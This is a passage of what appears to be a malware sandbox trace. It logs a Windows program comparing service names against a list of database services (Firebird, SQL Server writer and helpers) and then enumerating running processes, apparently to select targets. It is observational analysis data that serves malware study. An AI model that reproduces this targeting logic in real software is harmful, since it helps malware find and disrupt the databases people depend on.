(lpString1="FirebirdGuardianDefaultInstance", lpString2="MapsBroker") returned -1 [0061.267] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MapsBroker") returned -1 [0061.267] lstrcmpiW (lpString1="sqlwriter", lpString2="MapsBroker") returned 1 [0061.267] lstrcmpiW (lpString1="mssqlserver", lpString2="MapsBroker") returned 1 [0061.267] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MapsBroker") returned 1 [0061.267] lstrlenW (lpString="MpsSvc") returned 6 [0061.267] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0061.267] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0061.267] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0061.267] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0061.267] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0061.267] lstrlenW (lpString="NcbService") returned 10 [0061.267] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0061.267] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0061.267] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0061.267] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0061.267] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0061.267] lstrlenW (lpString="netprofm") returned 8 [0061.268] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0061.268] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0061.268] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0061.268] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0061.268] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0061.268] lstrlenW (lpString="NlaSvc") returned 6 [0061.268] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0061.268] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0061.268] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0061.268] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0061.268] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0061.268] lstrlenW (lpString="nsi") returned 3 [0061.268] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0061.268] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0061.268] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0061.268] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0061.268] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0061.268] lstrlenW (lpString="PcaSvc") returned 6 [0061.268] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0061.268] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0061.268] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0061.268] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0061.268] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0061.268] lstrlenW (lpString="PlugPlay") returned 8 [0061.268] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0061.268] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0061.268] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0061.268] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0061.269] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0061.269] lstrlenW (lpString="Power") returned 5 [0061.269] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0061.269] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0061.269] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0061.269] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0061.269] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0061.269] lstrlenW (lpString="ProfSvc") returned 7 [0061.269] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0061.269] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0061.269] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0061.269] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0061.269] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0061.269] lstrlenW (lpString="RpcEptMapper") returned 12 [0061.269] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0061.269] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0061.269] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0061.269] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0061.269] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0061.269] lstrlenW (lpString="RpcSs") returned 5 [0061.269] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0061.269] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0061.269] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0061.269] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0061.269] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0061.269] lstrlenW (lpString="SamSs") returned 5 [0061.269] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0061.270] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0061.270] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0061.270] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0061.270] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0061.270] lstrlenW (lpString="Schedule") returned 8 [0061.270] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0061.270] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0061.270] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0061.270] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0061.270] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0061.270] lstrlenW (lpString="SecurityHealthService") returned 21 [0061.270] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0061.270] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0061.270] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0061.270] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0061.270] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0061.270] lstrlenW (lpString="SENS") returned 4 [0061.270] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0061.270] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0061.270] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0061.270] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0061.270] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0061.270] lstrlenW (lpString="ShellHWDetection") returned 16 [0061.270] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0061.270] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0061.270] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0061.270] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0061.270] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0061.271] lstrlenW (lpString="Spooler") returned 7 [0061.271] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0061.271] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0061.271] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0061.271] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0061.271] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0061.271] lstrlenW (lpString="SSDPSRV") returned 7 [0061.271] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0061.271] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0061.271] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0061.271] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0061.271] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0061.271] lstrlenW (lpString="StateRepository") returned 15 [0061.271] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0061.271] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0061.271] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0061.271] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0061.271] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0061.271] lstrlenW (lpString="SysMain") returned 7 [0061.271] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0061.271] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0061.271] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0061.271] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0061.272] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d911b8 | out: hHeap=0x490000) returned 1 [0061.272] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2f4 [0061.583] Process32FirstW (in: hSnapshot=0x2f4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0061.583] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6a, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0061.584] lstrlenW (lpString="System") returned 6 [0061.584] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0061.585] lstrlenW (lpString="smss.exe") returned 8 [0061.585] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x194, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0061.585] lstrlenW (lpString="csrss.exe") returned 9 [0061.585] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0061.586] lstrlenW (lpString="wininit.exe") returned 11 [0061.586] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0061.586] lstrlenW (lpString="csrss.exe") returned 9 [0061.586] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0061.587] lstrlenW (lpString="winlogon.exe") returned 12 [0061.587] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0061.587] lstrlenW (lpString="services.exe") returned 12 [0061.588] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0061.588] lstrlenW (lpString="lsass.exe") returned 9 [0061.588] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0061.588] lstrlenW (lpString="svchost.exe") returned 11 [0061.589] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x220, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0061.589] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0061.589] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0061.590] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0061.590] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x304, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0061.590] lstrlenW (lpString="svchost.exe") returned 11 [0061.590] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0061.591] lstrlenW (lpString="dwm.exe") returned 7 [0061.591] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5b, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0061.591] lstrlenW (lpString="svchost.exe") returned 11 [0061.591] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0061.592] lstrlenW (lpString="svchost.exe") returned 11 [0061.592] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0061.592] lstrlenW (lpString="svchost.exe") returned 11 [0061.592] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0061.593] lstrlenW (lpString="svchost.exe") returned 11 [0061.593] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x22, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0061.593] lstrlenW (lpString="svchost.exe") returned 11 [0061.593] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x43c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0061.594] lstrlenW (lpString="svchost.exe") returned 11 [0061.594] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0061.594] lstrlenW (lpString="svchost.exe") returned 11 [0061.594] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x584, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0061.595] lstrlenW (lpString="svchost.exe") returned 11 [0061.595] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0061.596] lstrlenW (lpString="svchost.exe") returned 11 [0061.596] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0061.596] lstrlenW (lpString="svchost.exe") returned 11 [0061.596] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0061.597] lstrlenW (lpString="spoolsv.exe") returned 11 [0061.597] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x694, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0061.597] lstrlenW (lpString="svchost.exe") returned 11 [0061.597] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x4e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0061.598] lstrlenW (lpString="audiodg.exe") returned 11 [0061.598] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x3b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0061.598] lstrlenW (lpString="sihost.exe") returned 10 [0061.598] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0061.599] lstrlenW (lpString="svchost.exe") returned 11 [0061.599] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x79c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x3b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0061.599] lstrlenW (lpString="taskhostw.exe") returned 13 [0061.599] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3f, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0061.600] lstrlenW (lpString="explorer.exe") returned 12 [0061.600] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x828, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0061.600] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0061.600] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0061.601] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0061.601] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0061.601] lstrlenW (lpString="Memory Compression") returned 18 [0061.602] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0061.602] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0061.602] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0061.603] lstrlenW (lpString="SearchUI.exe") returned 12 [0061.603] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0061.603] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0061.603] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0061.604] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0061.604] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="furholdtopics.exe")) returned 1 [0061.604] lstrlenW (lpString="furholdtopics.exe") returned 17 [0061.604] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x504, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sensors conjunction petition.exe")) returned 1 [0061.605] lstrlenW (lpString="sensors conjunction petition.exe") returned 32 [0061.605] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="until_commit.exe")) returned 1 [0061.605] lstrlenW (lpString="until_commit.exe") returned 16 [0061.605] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cablesdiscussed.exe")) returned 1 [0061.606] lstrlenW (lpString="cablesdiscussed.exe") returned 19 [0061.606] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="unavailable cricket postcard.exe")) returned 1 [0061.606] lstrlenW (lpString="unavailable cricket postcard.exe") returned 32 [0061.606] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcdc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="lexmark.exe")) returned 1 [0061.607] lstrlenW (lpString="lexmark.exe") returned 11 [0061.607] 